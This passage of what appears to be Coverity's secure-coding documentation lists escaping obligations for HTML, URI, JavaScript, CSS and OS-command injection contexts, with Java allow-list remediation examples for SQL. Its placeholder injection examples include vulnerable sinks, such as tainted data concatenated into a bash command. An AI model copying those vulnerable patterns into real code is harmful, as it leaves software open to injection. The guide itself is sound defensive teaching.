Minimal safety obligations preclude inserting the less-than sign ( `<`, `U+003C` ) and Section 6.4.22, “Ambiguous ampersand” ( `&`, `U+0026` ) through escaping as HTML character references. When used, common HTML escapers encode the less-than sign and ampersand into character references ( `&lt;` or `&amp;`, respectively), which makes it infeasible to close the context.

Coverity offers Section 6.4.25, “ sanitizers”, an escaping library for HTML that meets the ideal safety obligations.

### 6.4.5. HTML: Single quoted attribute

HTML5 defines single-quoted and double-quoted attributes [↗](#).

- Single-quoted attributes: ' , U+0027
- Double-quoted attributes: " , U+0022

#### Injection example:

```
<div xml:id="TAINTED_DATA_HERE">
 Testing blog
</div>
```

Ideal safety obligations preclude inserting a matching quote character or ambiguous ampersand ( `&` , U+0026 ) through escaping as HTML character references. Most common HTML escapers enforce these obligations. (See Section 6.4.22, “Ambiguous ampersand”).

Coverity offers Section 6.4.25, “ sanitizers”, an escaping library for HTML attribute strings that meets the minimal safety obligations.

### 6.4.6. HTML: Double quoted attribute

See Section 6.4.5, “HTML: Single quoted attribute”.

### 6.4.7. HTML: Not quoted URI

HTML5 defines the unquoted attribute context [↗](#) as an HTML attribute content that is delimited by zero or more white space characters (see Section 6.4.23, “HTML: White space character”), rather than by a quote character.

#### Injection example:

```
<div xml:id=TAINTED_DATA_HERE>
 Testing blog
</div>
```

Ideal safety obligations preclude inserting the characters listed below, either by escaping as HTML character references, filtering, or validating. This would close the unquoted context, entering a variety of different contexts, such as attribute name or normal element / PCDATA.

- Space characters: See Section 6.4.23, “HTML: White space character”.
- Double-quote ( " , U+0022 )
- Ambiguous ampersand ( & , U+0026 ): See Section 6.4.22, “Ambiguous ampersand”
- Single-quote ( ' , U+0027 )
- Less-than sign ( < , U+003C )

- Forward slash (solidus, / , U+002F )
- Equal sign ( = , U+003D )
- Greater-than sign ( > , U+003E )
- Grave accent ( ` , U+0060 )

Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided and refactored as a double-quote context, for example:

```
<div xml:id="
 TAINTED_DATA_HERE"> ...
```

You should also follow the guidance for Section 6.4.6, “HTML: Double quoted attribute”. Single-quote context is not recommended because many URI encoders do not encode the single quote when in a query.

#### 6.4.8. HTML: Comment

HTML5 defines the comment context [↗](#) as any content between the `<!--` and `-->` sequences.

##### Injection example:

```
<!-- TAINTED_DATA_HERE -->
```

Ideal safety obligations preclude inserting the characters or sequences below, by escaping as HTML character references.

- Start with `>` (greater-than sign, U+003E )
- Start with `->` (hyphen, U+002D , followed by greater-than sign, U+003E )
- Contain `--` (two hyphens, U+002D )
- End with a `-` (hyphen, U+002D )

Minimal safety obligations preclude inserting a `>` (greater-than sign, U+003E ) by escaping. When used, common HTML escapers encode the greater-than sign into a character reference (that is, convert to `&gt;` ; ), making it infeasible to close the context.

#### 6.4.9. HTML: attribute name

HTML5 defines the attribute name [↗](#) syntax.

##### Injection example:

```
<div TAINTED_DATA_HERE="bar">
 Testing blog
</div>
```

Ideal safety obligations preclude inserting the characters below, filtering or validating the content. No escaping is possible for this context.

- Null , U+0000
- Space characters: See Section 6.4.23, “HTML: White space character”.
- Control and undefined characters: See Section 6.4.24, “HTML: Control or undefined Unicode character”.
- Double quote ( " , U+0022 )
- Single quote ( ' , U+0027 )
- Forward slash (solidus, / , U+002F )
- Equal sign, ( = , U+003D )
- Greater-than sign ( > , U+003E )

Other ideal safety obligations require avoiding some attribute names, including names that interpret the attribute values in potentially unsafe ways, such as `href` , the `on` DOM event handlers, `src` , and so on.

Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided. If it is necessary to insert tainted values into this context, only allow a predefined list of values, or append filtered characters to known, safe prefixes.

### 6.4.10. HTML: Tag name

HTML5 defines the tag name  syntax.

#### Injection example:

```
<TAINTED_DATA_HERE>
Testing blog</TAINTED_DATA_HERE>
```

Ideal safety obligations include inserting only the following characters. No escaping is possible for this context.

- 0-9 ( U+0030 to U+0039 )
- A-Z ( U+0041 to U+005A )
- a-z ( U+0061 to U+007A )

Other ideal safety obligations require that some tag names should be avoided. These include names that change the context to those that can introduce XSS defects, such as `script` , `a` , and so on.

Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided. If it is required to dynamically insert tainted values within this context, only allow a predefined list of values, or append filtered characters to known, safe prefixes.

### 6.4.11. URI

The URI context is comprised of numerous sub-contexts. RFC 3986 [🔗](#) provides details on each of them.



#### Note

This context always includes some parent context.

#### Injection example:

```
Click me!
```

The parent context is the HTML double-quoted attribute context (see Section 6.4.6, “HTML: Double quoted attribute”) with the URI as the child context.

There are no ideal safety obligations for the range of sub-contexts because individual sub-contexts might have more specific requirements.

According to the RFC, the following characters can reside within the URI query context directly:

- 0-9 ( U+0030 to U+0039 )
- A-Z ( U+0041 to U+005A )
- a-z ( U+0061 to U+007A )
- Exclamation point ( ! , U+0021 )
- Dollar sign ( \$ , U+0024 )
- Ampersand ( & , U+0026 )
- Single-quote ( ' , U+0027 )
- Left parentheses ( ( , U+0028 )
- Right parentheses ( ) , U+0029 )
- Asterisk ( \* , U+002A )
- Plus sign ( + , U+002B )
- Comma ( , , U+002C )
- Minus sign ( - , U+002D )
- Period ( . , U+002E )
- Colon ( : , U+003A )
- Semicolon ( ; , U+003B )

- Equal sign ( = , U+003D )
- At sign ( @ , U+0040 )
- Underscore ( \_ , U+005F )
- Tilde ( ~ , U+007E )

A subset of these characters should further be *percent encoded* so that they will not be interpreted as query key/value delimiters.

- Ampersand ( & , U+0026 )
- Colon ( : , U+003A )
- Semicolon ( ; , U+003B )
- Equal sign ( = , U+003D )

Some of these characters have security obligations for parent contexts, such as the single-quote. Minimal safety obligations use percent-encoding escaping for all non-alphanumeric values.

Coverity offers Section 6.4.25, “ sanitizers”, an escaping library for URIs that meets near-RFC compliance for URI queries while meeting safety obligations for other contexts.

### 6.4.12. JavaScript: Double quoted string

ECMA 262 defines the ECMAScript language [🔗](#), of which JavaScript is a dialect. The standard defines a string literal syntax for both ' and " strings in section 7.8.4 (of the ECMA PDF file).

#### Injection example:

```
var blogComment = 'TAINTED_DATA_HERE';
logBlogComment(blogComment, "TAINTED_DATA_HERE_TOO");
```

Ideal safety obligations preclude inserting the following characters through escaping, filtering, or validating. These characters could close or change the context.

- Back space ( U+0008 )
- Tab ( U+0009 )
- Line feed ( U+000A )
- Vertical tab ( U+000B )
- Form feed ( U+000C )
- Carriage return ( U+000D )
- Double-quote ( " , U+0022 )

- Single-quote ( ' , U+0027 )
- Backslash ( \ , U+005C )
- Line separator ( U+2028 )
- Paragraph separator ( U+2029 )

Minimal safety obligations preclude inserting a matching quote character and a backslash. While the inclusion of the line formatting characters will cause a parse error by a compliant JavaScript parser, it will not create an XSS defect.

Coverity offers Section 6.4.25, “ sanitizers”, an escaping library for JavaScript strings that meets the ideal safety obligations.

### 6.4.13. JavaScript: Single quoted string

See Section 6.4.12, “JavaScript: Double quoted string”

### 6.4.14. JavaScript: Single line comment

ECMA 262 defines the ECMAScript language [🔗](#), of which JavaScript is a dialect. The standard defines multi-line (block) and single line comment syntax in section 7.4 (of the ECMA PDF file).

Injection example:

```
var testReturn = "testBlogReturn" // TAIANTED_DATA_HERE
var testScript = "testBlog"; /* TAIANTED_DATA_HERE */
```

Ideal safety obligations preclude inserting the following characters through only filtering or validating. Technically, these contexts do not have an escaping mechanism. These characters could close or change the context.

- Form feed ( U+000C )
- Carriage return ( U+000D )
- Asterisk ( \* , U+002A )
- Forward slash (solidus, / , U+002F )
- Line separator ( U+2028 )
- Paragraph separator ( U+2029 )

Minimal safety obligations preclude inserting tainted data into this context.

### 6.4.15. JavaScript: Multi line comment

See Section 6.4.14, “JavaScript: Single line comment”.

### 6.4.16. JavaScript: Code

ECMA 262 defines the ECMAScript language [↗](#), of which JavaScript is a dialect.



#### Note

This context includes some parent context.

Injection example:

```
...
```

The parent context is the HTML double-quoted attribute (see Section 6.4.6, “HTML: Double quoted attribute”). The onclick DOM event executes the attribute value as JavaScript.

Ideal safety obligations include only inserting the characters below. No escaping is possible for this context.

- 0-9 ( U+0030 to U+0039 )
- A-Z ( U+0041 to U+005A )
- a-z ( U+0061 to U+007A )

Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided. If it is required to dynamically insert tainted values within this context, only allow a predefined list of values or append filtered characters to known, safe prefixes.

### 6.4.17. JavaScript: Regular expression'

ECMA 262 defines the ECMAScript language [↗](#), of which JavaScript is a dialect. The standard defines regular expression (regexp) syntax in section 7.8.5 (of the ECMA PDF file).

Injection example:

```
var isReturn = "blogReturn".match(/TAINTED_DATA_HERE/);
```

Ideal safety obligations preclude inserting the following characters through JavaScript backslash or Unicode escaping:

- Back space ( U+0008 )
- Tab ( U+0009 )
- Line feed ( U+000A )
- Vertical tab ( U+000B )
- Form feed ( U+000C )

- Carriage return ( `U+000D` )
- Forward-slash (solidus, `/` , `U+002F` )
- Backslash ( `\` , `U+005C` )
- Exclamation mark ( `!` , `U+0021` )
- Dollar sign ( `$` , `U+0024` )
- Left parentheses ( `(` , `U+0028` )
- Right parentheses ( `)` , `U+0029` )
- Asterisk ( `*` , `U+002A` )
- Plus sign ( `+` , `U+002B` )
- Minus sign ( `-` , `U+002D` )
- Period ( `.` , `U+002E` )
- Question mark ( `?` , `U+003F` )
- Left square bracket ( `[` , `U+005B` )
- Right square bracket ( `]` , `U+005D` )
- Caret ( `^` , `U+005E` )
- Left curly bracket ( `{` , `U+007B` )
- Vertical line ( `|` , `U+007C` )
- Right curly bracket ( `}` , `U+007D` )
- Line separator ( `U+2028` ): Unicode escaping only.
- Paragraph separator ( `U+2029` ): Unicode escaping only.

Because of the complexity of this context, there are no minimal safety obligations. The ideal obligations should be followed.

Coverity offers Section 6.4.25, “ sanitizers” an escaping library for JavaScript regular expressions that meets the ideal safety obligations.

### 6.4.18. CSS

CSS Level 2, Revision 1 is defined here (<http://www.w3.org/TR/CSS2/> ) .

```
<style>
TAINTED_DATA_HERE
...
</style>
```

The parent context is the HTML raw text (see Section 6.4.1, “HTML: Raw text block”) context with CSS as the child context.

Ideal safety obligations include only inserting the characters below. No escaping is possible for this context. These characters could change or close the context.

- 0-9 ( U+0030 to U+0039 )
- A-Z ( U+0041 to U+005A )
- a-z ( U+0061 to U+007A )

Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided. If it is required to dynamically insert tainted values within this context, only allow a predefined list of values or append filtered characters to known, safe prefixes.

#### 6.4.18.1. CSS double-quoted string

CSS Level 2, Revision 1 (CSS 2.1) defines single-quoted ( ' , U+0027 ) and double-quoted ( " , U+0022 ) strings [↗](#). These strings are also used within a URL quoted context [↗](#) and have the same obligations within that context.

##### Injection example:

```
span[id="TAINTED_DATA_HERE"] {
background-color:#ff00ff;
}
```

Ideal safety obligations preclude inserting the following characters, either though escaping with backslash or Unicode escaping.

- Null ( U+0000 ): Cannot be backslash escaped. Can be Unicode escaped, filtered, or validated.
- Tab ( U+0009 )
- Line feed ( U+000A ): Cannot be backslash escaped. Can be Unicode escaped, filtered, or validated.
- Form feed ( U+000C ): Cannot be backslash escaped. Can be Unicode escaped, filtered, or validated.
- Carriage return ( U+000D ): Cannot be backslash escaped. Can be Unicode escaped, filtered, or validated.
- Space ( U+0020 )
- Double-quote ( " , U+0022 )

- Single-quote ( ' , U+0027 )
- Left parentheses ( ( , U+0028 )
- Right parentheses ( ) , U+0029 )
- Backslash ( \ , U+005C )

Minimal safety obligations preclude inserting a matching quote, backslash, and line formatting characters by Unicode escaping. CSS 2.1 does not define what occurs if a style sheet contains a null.

Coverity has released Section 6.4.25, “ sanitizers”, an escaping library for CSS strings that meets the ideal safety obligations.

#### **6.4.18.2. CSS single-quoted string**

See information on CSS Level 2, Revision 1 (CSS 2.1) in Section 6.4.18.1, “CSS double-quoted string”.

#### **6.4.18.3. CSS: Double-quoted URI**

See information on CSS Level 2, Revision 1 (CSS 2.1) in Section 6.4.18.1, “CSS double-quoted string”.

#### **6.4.18.4. CSS single-quoted URI**

See information on CSS Level 2, Revision 1 (CSS 2.1) in Section 6.4.18.1, “CSS double-quoted string”.

#### **6.4.19. CSS: Not quoted URI**

CSS Level 2, Revision 1 (CSS 2.1) defines a URL context [🔗](#). A URL can contain a double-quoted, single-quoted, or unquoted value. This context defines an unquoted value.

#### **Injection example:**

```
body { background: url(TAINTED_DATA_HERE) }
```

Ideal safety obligations preclude inserting the following characters, either though escaping with backslash or Unicode escaping.

- Null ( U+0000 ): Cannot be backslash escaped. Can be Unicode escaped, filtered, or validated.
- Tab ( U+0009 )
- Line feed ( U+000A ): Cannot be backslash escaped. Can be Unicode escaped, filtered, or validated.
- Form feed ( U+000C ): Cannot be backslash escaped. Can be Unicode escaped, filtered, or validated.
- Carriage return ( U+000D ): Cannot be backslash escaped. Can be Unicode escaped, filtered, or validated.
- Space ( U+0020 )

- Double-quote ( " , U+0022 )
- Single-quote ( ' , U+0027 )
- Left parentheses ( ( , U+0028 )
- Right parentheses ( ) , U+0029 )
- Backslash ( \ , U+005C )

Rather, the context should be avoided and refactored with double-quotes around the URL; for example:

```
body { background: url("TAINTED_DATA_HERE") }
```

You should follow the guidance for Section 6.4.18.3, “CSS: Double-quoted URI”. Single-quote context is not recommended because many URI encoders do not encode the single-quote when in a query.

#### 6.4.20. CSS: Comment

CSS Level 2, Revision 1 (CSS 2.1) defines <http://www.w3.org/TR/CSS2/syndata.html#comments>  the syntax for CSS comments.

##### Injection example:

```
p.noclass {
background-color:#c0ffee;
} /*TAINTED_DATA_HERE*/
```

Ideal safety obligations preclude inserting the asterisk ( \* , U+002A ) and forward-slash ( / , U+002F ) characters, either through filtering; or validation. No escaping is allowed for this context since a backslash is not recognized as an escaping character.

Minimal safety obligations preclude inserting tainted data into this context.

#### 6.4.21. Nested context

In HTML, many contexts can be nested within another context. Common upper or parent contexts are HTML raw text (see Section 6.4.1, “HTML: Raw text block”) and HTML script (see Section 6.4.2, “HTML: Script block”). Common lower or children (sometimes grandchildren) contexts are URIs and JavaScript strings.

In SQL, contexts are generally flat, without nesting.

Safety obligations for nested contexts start at the most descendant context, up to the last, ancestral context. Sometimes through escaping appropriate for its context, a descendant or child context also meets the safety obligations for a parent or ancestor context. Common examples are JavaScript string escapers (see Section 6.4.12, “JavaScript: Double quoted string”). They often escape the forward-slash ( / , U+002F ) character, which does not have a safety obligation for the JavaScript context. However, a

common parent context for JavaScript strings is the HTML script (see Section 6.4.2, “HTML: Script block” context. When the child escapes the forward-slash using a backslash ( \ , U+005C ), it separates the sequence </ into <\/ , meeting the parent safety obligation.

#### **Injection example (into a nested context):**

```
<span xml:id="blogComment" onmouseover="doMouseOver('blogComment',
'TAINTED_DATA_HERE');">
View blog comment

```

The ancestral context is the `onmouseover` HTML double-quoted attribute (see Section 6.4.6, “HTML: Double quoted attribute”). The `onmouseover` attribute is a browser DOM event that executes its value as JavaScript. In this example, the JavaScript function `doMouseOver` is called with two single-quoted string parameters (see Section 6.4.13, “JavaScript: Single quoted string”), one of which is tainted. To meet the security obligations, the tainted data needs to be sanitized for the JavaScript single-quoted context. Then the resultant value needs to be sanitized for the HTML double-quoted attribute context. Only then will the tainted data be sufficiently sanitized for all contexts. If sanitization happens in an incorrect order, the original defect might continue to exist.

#### **6.4.22. Ambiguous ampersand**

An ambiguous ampersand occurs when an ampersand is used in a character reference, but that character reference is not a standard or recognized reference [↗](#).

#### **6.4.23. HTML: White space character**

HTML5 defines the space characters [↗](#) as follows:

- tab ( U+0009 )
- line feed ( U+000A )
- form feed ( U+000C )
- carriage return ( U+000D )
- space ( U+0020 )

#### **6.4.24. HTML: Control or undefined Unicode character**

HTML5 defines the following (control or undefined Unicode characters [↗](#)).

Control Characters:

- U+0001 to U+0008
- U+000B
- U+000E to U+001F

- U+007F to U+009F

Undefined (noncharacters) Unicode Characters:

- U+FDD0 to U+FDEF
- U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF, U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE, U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF, U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE, U+DFFFF, U+EFFFE, U+EFFFE, U+FFFE, U+FFFE, U+10FFFE, U+10FFFF

### 6.4.25. Coverity sanitizers

On GitHub (see Section 6.1.7, “Sanitizers Library”), Coverity provides Java and C# open-sourced sanitizers for the following contexts:

- HTML elements: See Section 6.4.4, “HTML: PCDATA block”.
- HTML attribute values: See Section 6.4.6, “HTML: Double quoted attribute”.
- JavaScript Strings: See Section 6.4.12, “JavaScript: Double quoted string”.
- JavaScript regular expression: See Section 6.4.17, “JavaScript: Regular expression”.
- CSS strings: See Section 6.4.18.1, “CSS double-quoted string”.
- SQL `LIKE` strings: See Section 6.3.6, “SQL string”.

**To start using the Java sanitizers:**

1. Include in your Java project, class path, or `WEB-INF/lib` directory.
2. Import the class into your file.
3. Apply the correct escaper, in the correct order.

## 6.5. OS Injection Command Contexts

### 6.5.1. Tainted OS Command

The name of an OS command or executable in this code is partially comprised of tainted data. The severity of this issue can be minor to moderate because it is limited to commands that continue to work with the current switches.

**Injection example:**

```
String command = TAINTED_DATA_HERE
+ " -c -f output.txt";
```

General filtering or escaping of the tainted data might be insufficient because other legitimate, although potentially unauthorized, command names could be chosen. Take the following actions to improve the security of such code:

1. If needed, use the following array or list version of the Oracle Java API:  
( `java.lang.Runtime.exec(String[])` [↗](#) ) or ( `java.lang.ProcessBuilder` [↗](#) ).
2. Define constant values for all potential command names.
3. Map these values as indirect references, exposing only the index to the user.
4. Select the constant value based on the index value provided by the user.
5. Pass the selected value to the API.

Examples that provide remediation advice and code for specific technologies:

- `Runtime.exec` : See Section 6.6.3.1, “OS Command Injection Command Tainted: Runtime.exec”.
- `ProcessBuilder` : See Section 6.6.3.2, “OS Command Injection Command Tainted: ProcessBuilder”.

## 6.5.2. Fully Tainted OS Command

This code passes a name, options, and option strings to an OS command or executable that is fully comprised of tainted data. The severity of this issue is extremely high because it implies full control by the attacker.

### Injection example:

```
String command = TAINTED_DATA_HERE;
```

General filtering or escaping of the tainted data is insufficient due to the complexity of different command sub-contexts. Take the following actions to improve the security of such code:

1. If needed, use the following array or list version of the Oracle Java API:  
( `java.lang.Runtime.exec(String[])` [↗](#) ) or ( `java.lang.ProcessBuilder` [↗](#) ).
2. Define constant string values for all potential command names, options, and option strings.
3. Map these values as indirect references, exposing only the index to the user.
4. Select the constant value based on the index value provided by the user.
5. Pass the selected value to the API.

Examples that provide remediation advice and code for specific technologies:

- `Runtime.exec` : See Section 6.6.3.3, “OS Command Injection Command Fully Tainted: Runtime.exec”.

- `ProcessBuilder` : See Section 6.6.3.4, “OS Command Injection Command Fully Tainted: `ProcessBuilder`”.

### 6.5.3. Unsafe Shell Argument OS Command

This code allows the attacker to control a parameter to an OS shell. The severity of this issue can be minor to extremely high. Though in some cases it might not provide the attacker with any control, in others it might provide the attacker total control to execute arbitrary commands on the server.

#### Injection example:

```
String command = {"/bin/bash", "-c", "ls "
+ TAIANTED_DATA_HERE};
```

Due to the complexity of shell sub-contexts, sanitizing the tainted data might be insufficient. Take the following actions to improve the security of such code:

1. If needed, use the following array or list version of the Oracle Java API:  
( `java.lang.Runtime.exec(String[])` [↗](#) ) or ( `java.lang.ProcessBuilder` [↗](#) ).
2. Define constant string values for all potential option names or option string values.
3. Map these values as indirect references, exposing only the index to the user.
4. Select the constant value based on the index value provided by the user.
5. Pass the selected value to the API.
6. Have a security or system expert review the final command.

Examples that provide remediation advice and code for specific technologies:

- `Runtime.exec` : See Section 6.6.3.7, “OS Command Injection Option: `Runtime.exec`”.
- `ProcessBuilder` : See Section 6.6.3.8, “OS Command Injection Option: `ProcessBuilder`”.

### 6.5.4. Unsafe Other Argument OS Command

This code allows the attacker to control a parameter to an OS command that can be manipulated into performing dangerous actions. The severity of this issue can be minor to extremely high. Though in some cases it might not provide the attacker with any control, in others it might provide the attacker total control to execute arbitrary commands on the server.

#### Injection example:

```
String command = "/usr/bin/find . -name + TAIANTED_DATA_HERE;
```

While sanitizing the tainted data might be sufficient to remove specific command line options, you should make sure that the sanitization cannot be bypassed. Due to the risk of incorrectly sanitizing the tainted data, you should take the following actions:

1. If needed, use the following array or list version of the Oracle Java API:  
( `java.lang.Runtime.exec(String[])` [↗](#) ) or ( `java.lang.ProcessBuilder` [↗](#) ).
2. Define constant string values for all potential option names or option string values.
3. Map these values as indirect references, exposing only the index to the user.
4. Select the constant value based on the index value provided by the user.
5. Pass the selected value to the API.
6. Have a security or system expert review the final command.

Examples that provide remediation advice and code for specific technologies:

- `Runtime.exec` : See Section 6.6.3.5, “OS Command Injection Unsafe: Runtime.exec”.
- `ProcessBuilder` : See Section 6.6.3.6, “OS Command Injection Unsafe: ProcessBuilder”.

### 6.5.5. OS Command Line Option

This code concatenates or passes tainted data into a command. The name of the OS command is unknown. The severity of this issue can be minor to extremely high. If the command is not known to have unsafe side effects, the severity is minor. If the command can have unsafe side effects, the severity is as dangerous as the side effects.

#### Injection example:

```
String command = "somecommand.exe /F "
+ TAIANTED_DATA_HERE;
```

Sanitizing the tainted data might be sufficient if it is performed correctly. However, it is important to understand nuances of the command. Take the following actions to improve the security of such code:

1. Verify if the OS command is unsafe or not. See Section 6.5.3, “Unsafe Shell Argument OS Command” and Section 6.5.4, “Unsafe Other Argument OS Command”.
2. If needed, use the following array or list version of the Oracle Java API:  
( `java.lang.Runtime.exec(String[])` [↗](#) ) or ( `java.lang.ProcessBuilder` [↗](#) ).
3. If possible, define constant string values for all potential option names or option string values. Map these values as indirect references, exposing only the key or index to the user. Select the constant value based on the tainted value provided by the user. If valid, use the constant value in the command.
4. If dynamic tainted data is required for the command, sanitize the tainted data by casting to a safe type such as an integer, if possible.
5. If dynamic tainted string data is required for the command, safely sanitize the data so that it cannot change the intent of the command, especially for unsafe commands.

6. Pass the command to the API.
7. Have a security or system expert review the final command.

Examples that provide remediation advice and code for specific technologies:

- `Runtime.exec` : See Section 6.6.3.7, “OS Command Injection Option: `Runtime.exec`”.
- `ProcessBuilder` : See Section 6.6.3.8, “OS Command Injection Option: `ProcessBuilder`”.

### 6.5.6. Unknown OS Command

This code passes tainted data to an API that can execute OS commands or processes. However, the context of the tainted data or the type of command this is being executed is unknown. The severity of this issue can be minor to extremely high. If the command is not known to have unsafe side effects, the severity is minor. If the command can have unsafe side effects, the severity is as dangerous as the side effects.

Examine the command, and refer to the guidance in one of these sections:

- Section 6.5.1, “Tainted OS Command”
- Section 6.5.5, “OS Command Line Option”

## 6.6. Web application security examples

### 6.6.1. SQL code examples

#### 6.6.1.1. SQL identifier JDBC

The following example uses indirect references through a `HashMap` to add SQL identifiers that are used by the application.

**Constants.java**

```
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("FETCH10", "FETCH FIRST 10 ROWS ONLY");
14 //...
15 return Collections.unmodifiableMap(m);
16 }
17 [...]
18 }
```

**SomeDAO.java**

```

23 public List<Order> getAllOrders(final String userInput) {
[...]
80 String untainted = Constants.knownGoodValues.get(userInput);
81 if (untainted != null) {
82 try {
83 String paramQuery = "SELECT
 * FROM table " + untainted;
84 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
85 prepStmt.executeQuery();
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

### Progression of the security issue:

- Constants.java (10): A list of common SQL statement fragments are added to the `HashMap`.
- SomeDAO.java (23): A tainted value, `userInput`, is passed into the method.
- SomeDAO.java (80): A tainted value is checked against the map.
- SomeDAO.java (83): If the user provides a value such as `FETCH10`, the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

#### 6.6.1.2. SQL identifier HQL

The following example uses indirect references through a `HashMap` to add SQL identifiers that are used by the application.

##### Constants.java

```

5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[...]
```

##### SomeDAO.java

```

23 public List<Order> getAllOrders(final String userInput) {
```

```
[...]
80 String untainted = Constants.knownGoodValues.get(userInput);
81 if (untainted != null) {
82 try {
83 Query query = sess.createQuery("from Orders orders order by orders.item "
 + untainted);
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

**Progression of the security issue:**

- Constants.java (10): A list of common SQL statement fragments are added to the `HashMap`.
- SomeDAO.java (23): A tainted value, `userInput`, is passed into the method.
- SomeDAO.java (80): The tainted value is checked against the map.
- SomeDAO.java (83): If the user provides a value such as `ASC`, the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

**6.6.1.3. SQL identifier Hibernate native query**

The following example uses indirect references through a `HashMap` to add SQL identifiers that are used by the application.

**Constants.java**

```
Constants.java:
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[...]
```

**SomeDAO.java**

```
23 public List<Order> getAllOrders(final String userInput) {
[...]
```

```
80 String untainted = Constants.knownGoodValues.get(userInput);
81 if (untainted != null) {
```

```

82 try {
83 String paramQuery = "SELECT * FROM table " + untainted;
84 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
85 prepStmt.executeQuery();
86 } else {
87 // log event as potential security tampering...
88 }
89 }

```

#### Progression of the security issue:

- Constants.java (10): A list of common SQL statement fragments are added to the `HashMap`.
- SomeDAO.java (23): A tainted value, `userInput`, is passed into the method.
- SomeDAO.java (80): The tainted value is checked against the map.
- SomeDAO.java (83): If the user provides a value such as `ASC`, the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

#### 6.6.1.4. SQL identifier JPQL

The following example uses indirect references through a `HashMap` to add SQL identifiers that are used by the application.

##### Constants.java

```

5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
16 }

```

##### SomeDAO.java

```

23 public List<Order> getAllOrders(final String userInput) {
24 // ...
25 String untainted = Constants.knownGoodValues.get(userInput);
26 if (untainted != null) {
27 try {
28 Query query = entityManager.createQuery("SELECT o FROM Orders
29 o ORDER BY o.item " + untainted);

```

```
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

### Progression of the security issue:

- `Constants.java` (10): A list of common SQL statement fragments are added to the `HashMap`.
- `SomeDAO.java` (23): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (80): The tainted value is checked against the map.
- `SomeDAO.java` (83): If the user provides a value such as `ASC`, the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

#### 6.6.1.5. SQL identifier: JPA native query

The following example uses indirect references through a `HashMap` to add SQL identifiers that are used by the application.

##### `Constants.java`

```
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[...]
```

##### `SomeDAO.java`

```
23 public List<Order> getAllOrders(final String userInput) {
[...]
```

```
80 String untainted =
 Constants.knownGoodValues.get(userInput);
81 if (untainted != null) {
82 Query query = entityManager.createNativeQuery("SELECT
 * FROM table ORDER BY user " + untainted);
[...]
```

```
91 } else {
92 // log event as potential security tampering...
```

[...]

**Progression of the security issue:**

- Constants.java (10): A list of common SQL statement fragments are added to the `HashMap`.
- SomeDAO.java (23): A tainted value, `userInput`, is passed into the method.
- SomeDAO.java (80): The tainted value is checked against the map.
- SomeDAO.java (82): If the user provides a value such as `ASC`, the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

**6.6.1.6. SQL IN clause: JDBC**

The following example uses a helper method to generate a SQL fragment, based on some list. The fragment is then concatenated into the SQL statement.

SQLUtils.java

```

11 public static String generateSqlInFragmentJdbc(List<String> taintedList) {
12 int listlen = taintedList.size();
13 if (listlen < 1)
14 return "";
15 StringBuilder params = new StringBuilder(taintedList.size()*2);
16 params.append("?");
17 for (int i=0; i < listlen - 1; i++) {
18 params.append(",?");
19 }
20
21 return params.toString();
22 }

```

SomeDAO.java

```

17 public List<Order> getOrdersFrom(final String userInput) {
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
33 taintedList.add(userInput);

58 String paramQuery = "SELECT * FROM table WHERE column IN
 (" Utils.generateSqlInFragmentJdbc(taintedList) +)";
59 try {
60 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
61 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext();)
 {
62 prepStmt.setString(id.nextIndex() + 1, id.next());
63 }
64 prepStmt.executeQuery();

```

**Progression of the security issue:**

- `SQLUtils.java` (11): This function accepts a `List`. It creates a `StringBuffer` comprised of the pattern `?, ?, ...?` for each member of the `List`.
- `SomeDAO.java` (17): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (32-33): An `ArrayList` is populated with tainted data.
